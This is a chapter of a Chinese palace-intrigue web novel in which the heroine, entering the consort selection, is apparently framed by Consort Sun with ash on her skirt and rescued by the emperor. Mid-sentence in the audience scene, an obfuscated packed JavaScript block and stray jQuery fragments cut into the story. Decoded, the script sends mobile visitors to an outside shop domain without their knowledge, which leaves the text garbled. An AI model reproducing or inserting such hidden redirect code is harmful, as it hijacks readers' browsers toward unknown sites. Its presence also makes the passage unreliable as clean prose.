文趣网 > 其他小说 > 她不是她 > 6. 她
    马车一路往皇城的方向走,姜染靠着车壁闭着眼,脑子里把这几天赵嬷嬷顺嘴提过的宫里的情形一条一条地过了一遍。

    皇帝傅宸,五年前登基的,今年二十五岁。

    赵嬷嬷说这位天子少年登基,手腕强硬,登基头三年就把先帝留下的老臣们换了个干净,如今朝堂上说话算话的都是他一手提拔起来的。

    不过这人的性子凉得很,后宫雨露均沾,从不专宠哪个妃嫔,面上对谁都客客气气的,可一转身该冷落谁就冷落谁,绝不拖泥带水。

    太后是皇帝生母,这几年非必要几乎不出宫门,喜欢听戏和佛理。

    皇后是皇帝的发妻,当今中宫,二十岁。姜染记着赵嬷嬷说这话的时候语气带着几分怜惜——“皇后娘娘是太傅家的女儿,十五岁嫁给了还是皇子的皇上,跟着吃了不少苦头,可惜头胎生的大皇子没站住,三岁上夭折了,娘娘伤心了好些年。后来生了二公主,养到五岁封了长乐,娘娘这才缓过来些。”

    贵妃位空着,四妃齐全,全是世家出身。

    贤妃和德妃是皇帝还是皇子的时候就封了侧妃的老人了。

    贤妃生了二皇子和四皇子,膝下两个儿子,底气足得很。

    德妃只生了一个公主,封了大公主,今年七岁。

    淑妃和惠妃是登基后这几年新封的,淑妃生了三皇子,惠妃生了三公主。

    四个贵嫔——赵、钱、李、孙——都是朝中有势力的人家的女儿,位分不上不下的,但娘家撑腰,在宫里也算一号人物。

    其余那些贵人常在的赵嬷嬷没细说,姜染也没费心记,眼下最要紧的是把上头这几尊佛的面目记清楚了。

    她睁开眼,看着车顶的木纹慢慢地在眼前摇晃。

    皇后、四妃、四贵嫔。这些人分属不同势力,背后各有各的娘家,皇帝一碗水端平,谁都不偏不倚,宫里表面风平浪静,底下怕是暗流汹涌。

    姜染忽然想起一件事来。她问赵嬷嬷问起宫里嫔妃的时候,赵嬷嬷顺嘴提过一句——“咱们侯府跟孙贵嫔的娘家有些旧交,夫人那边走动过。”

    王氏跟孙家有过走动。

    姜染的眼皮跳了一下。

    她在侯府这半个月,隐隐约约听青杏说过,孙家跟王氏的娘家有些拐着弯的亲戚关系。

    王氏送她进宫,不可能什么都不安排,她在宫里若是有个照应的熟人倒还罢了,就怕这个“熟人”是王氏早就布好了等着她往里跳的。

    “小姐,到了。”车夫在外面喊了一声。

    马车缓缓停住。

    姜染掀开车帘往外看了一眼,巍峨的宫门立在眼前,朱红色的高墙一眼望不到头,门口立着两排持戟的侍卫,衣甲鲜明,目光像刀子一样扫过来。

    青杏在旁边跟着下了车,两只手攥着包袱带子,指节都泛白了。

    姜染跳下马车的时候脚下一个趔趄,车外的凉风吹过来,吹得她额发乱了一瞬。

    她扶着车辕站定了,摇了摇脑袋,把那点晕眩甩出去,又深深吸了一口气。

    宫门就在前面了。

    跨过这道门,她就是宫里的人了。

    她在心里把自己又从头到脚过了一遍:水红色衣裳,整洁得体;脸上的妆盖住了红疹,看不出异常;青杏在身后跟着,包袱里带了几件换洗衣裳和赵嬷嬷给她的那本抄好的《女则》;王氏给她准备的箱子她没带,只让青杏把里头那件备用的衣裳抽了出来,其余的一概没碰。

    孙贵嫔。

    姜染在心里默念了一遍这个名号,然后抬脚往前走。

    她走得稳当,步子不急不慢,脊背挺得直直的,下巴微微收着,双手交叠放在小腹前面。

    这是赵嬷嬷教她的第一件事——进了宫门,你的每一步都有人看着。

    引路的太监在前面领着,姜染带着青杏跟在后面,穿过一道又一道宫门,脚下的砖从青石变成了汉白玉,两旁的宫墙越来越高,把头顶的天空收窄成一条长长的蓝带子。

    走到第二道宫门的时候,前面忽然拐出来一行人。

    领头的是个穿鹅黄宫装的年轻女子,身量不高,脸圆圆的,一双杏眼弯弯的,看着和气得很。

    她身后跟着两个宫女,手里捧着什么东西,正说说笑笑地往这边走。

    两行人碰了面,那女子抬眼看了姜染一下,脚步慢了半拍。

    领路的太监先弯腰行了一礼:“见过孙贵嫔娘娘。”

    姜染的心口轻轻一跳。

    孙贵嫔。

    她稳住面上的神色,跟着跪下去行礼:“臣女姜染,见过孙贵嫔娘娘。”

    孙贵嫔打量了她两眼,笑了一声,声音圆润温和:“哟,这就是静安侯家那位嫡女吧?昨儿就听说了,今儿进宫选秀的。起来吧起来吧,地上凉。”

    姜染谢了恩站起来,垂着眼站着,不多看也不多话。

    孙贵嫔走到她跟前,上下看了她一圈,又笑了笑:“模样倒是齐整。进了宫好好待着,有什么不懂的只管问人,别毛毛躁躁的让人看了笑话。”

    她说话的语气亲切和善,像是邻家的嫂子叮嘱小姑子。

    “多谢贵嫔娘娘提点。”姜染低下头,声音恭恭敬敬的。

    孙贵嫔笑得更和煦了,伸手虚虚地扶了扶她的胳膊:“好说好说。行了,不耽误你进去,快去吧。”

    她带着人走了,裙摆拖过汉白玉地面,沙沙地响。

    姜染站在原地等她走远了,才直起腰来。

    她的手在袖子里慢慢攥紧了。

    这个孙贵嫔若真是个笑面虎,那手段心计,怕是比王氏高出不止一两个段位。

    这深宫里头,到底叫人看不透,也喘不过气。

    虽然这样想着,姜染脚步却没慢下来。

    选秀在坤和宫的正殿里。

    姜染跟着一队秀女鱼贯而入的时候,心跳得厉害,但她面上稳住了。

    她一步一步走进去,在铺了猩红地毯的大殿中央站定,跟其他二十多个秀女整整齐齐地排成三排。

    上首坐着皇后,一身明黄凤纹宫装,面容端庄清丽,看着二十岁左右的模样,眉眼之间带着几分倦色。

    她旁边隔了一个空位,另设了一把铺了明黄锦垫的椅子——那是皇帝的座位。

    不过那位九五之尊此刻正靠在椅背上闭着眼,像是昨晚没睡好似的,连眼皮都懒得掀。

    姜染飞快地瞥了一眼。皇帝比她想象中年轻,眉目疏朗,轮廓分明,穿着玄色绣金龙的常服,一只手搭在扶手上,指节修长,整个人懒懒散散的,跟这大殿里肃穆的气氛格格不入。可他就算闭着眼,满殿的人没一个敢大声喘气。

    秀女一个一个上前,报家世、报姓名,皇后偶尔问几句,皇帝从头到尾没开过口。

    姜染站在第三排,前面还有七八个人。

    她看着前面的人有的答得流利、有的紧张得结结巴巴,皇后脸上的表情始终淡淡的,看不出满意不满意。

    有一个秀女因为说话声音太抖,皇后直接挥了挥手让人领下去了。

    姜染深吸了一口气。

    轮到她了。

    “静安侯府嫡女,姜染,年十六。”

    她上前两步,恭恭敬敬地跪下去行了大礼,动作干净利落,脊背的弧度、双手交叠的位置、额头触地的深浅,分毫不差。赵嬷嬷教了她几百遍的东西,刻进了骨头里。

    皇后看了她一眼,正想开口问话,忽然秀女队伍里有人“哎呀”叫了一声。

    姜染跪在地上,没有转头。但她闻到了一股淡淡的味道——像是檀香,又像是艾草,说不上来是什么,从她身后飘过来的,一阵一阵地往她身上沾。

    “怎么回事?”皇后皱了下眉。

    有一个秀女捂着嘴,指了指姜染的裙摆:“娘娘您看……她裙子上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918131|213387||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有东西。”

    姜染低头去看,自己的水红裙摆靠近脚踝的地方,不知什么时候沾上了几片暗红色的碎屑,像是香灰又像是纸灰,在粉色的料子上格外扎眼。

    更糟的是那东西还在往下掉,落在猩红的地毯上,一小堆一小堆的灰末子。

    满殿的人都看了过来。

    姜染的心猛地沉了一下。

    她不记得自己碰过什么香灰。

    早上出门之前在侯府换的衣裳,干净齐整,路上也没跟任何人有过近身接触,只在进第二道宫门的时候碰见了孙贵嫔,她走过来跟自己说了两句话、虚扶了一下自己的胳膊……

    是那时候。

    就是那时候沾上的。

    她脑子里飞快地转着,但面上不能慌。

    她没去拍裙摆,也没急着辩解,而是先抬起头来看了皇后一眼,恭恭敬敬地说:“回娘娘的话,臣女不知这碎屑从何而来。许是方才经过廊下的时候,有宫人清扫香炉不慎扬出来的。臣女疏忽大意,未曾察觉,请娘娘责罚。”

    她说得坦坦荡荡,既不推诿也不慌乱,好像真的只是沾了一点灰而已。

    可皇后看她的目光没有缓和。

    选秀的秀女身上沾灰,虽然不是什么大错,但终究是不体面的。

    这在皇后眼里就是“不够仔细”、“不够端庄”,一个连自己衣裳都看不住的人,进了宫能干什么?

    皇后身旁的女官,看了眼皇后的脸色,低头翻了一下手里的名册,笔尖在姜染的名字旁边顿了顿。

    姜染余光看见了那个停顿,心里一凉。

    皇后要划掉她。

    她跪在地上一动不动,手心全是汗,面上还维持着那副恭顺的样子,可脑子里已经乱成了一团——怎么办?说什么?怎么才能让皇后改主意?

    她还没想出办法来,上首忽然有人动了一下。

    一直靠在椅背上闭着眼假寐的皇帝,不知什么时候睁开了眼。

    他偏头看了看姜染裙摆上的灰,又看了看姜染跪得笔直的脊背和额头贴在掌心微微发抖的手指,忽然开口说了一句话。

    “她衣裳脏了,就让她去换一件再进来。”

    声音不高,甚至带着几分懒洋洋的随意,像是随口吩咐了句什么无关紧要的小事。

    满殿的人都愣了一下。

    皇后看了皇帝一眼,又看了看姜染,眉头还是蹙着的,但到底没说什么。

    皇帝既然开了口,她也不好驳回去,便放下笔,朝旁边招了招手:“带这位秀女去偏殿换件干净衣裳,再回来。”

    姜染伏在地上磕了一个头:“谢皇上,谢皇后娘娘。”

    她起身跟着宫女往偏殿走的时候,脊背绷得紧紧的,一步都不敢走错。

    等偏殿的门关上了,她才靠在门板上闭了闭眼,后背的衣裳已经被汗浸透了一层。

    偏殿里备着几件备用的秀女衣裳,都是素净的款式。

    宫女伺候她换好了,又替她重新整理了发髻和妆容,前后不过一盏茶的工夫。

    姜染对着铜镜看了看自己,干净的、整齐的、没有任何破绽的,然后重新挺直了背走出去。

    再回到殿上的时候,皇帝已经重新闭上了眼。

    皇后看了她一眼,也没再多问,只照例问了几句话,便让她退到一旁等着了。

    姜染退到角落里站着,心脏在胸腔里擂鼓一样地跳。

    她的目光不动声色地扫过秀女队伍,在后面几排里看见了方才那个喊“哎呀”的秀女。

    那人正低着头站在那儿,安安静静的,看不出什么异样。

    可姜染记得她站在自己斜后方。

    也记得进第二道宫门的时候,孙贵嫔扶过自己的那只手。

    那只手从自己的衣袖上滑过去的时候,轻得像一片羽毛。

    姜染垂下眼,指甲掐进掌心里,又慢慢松开了。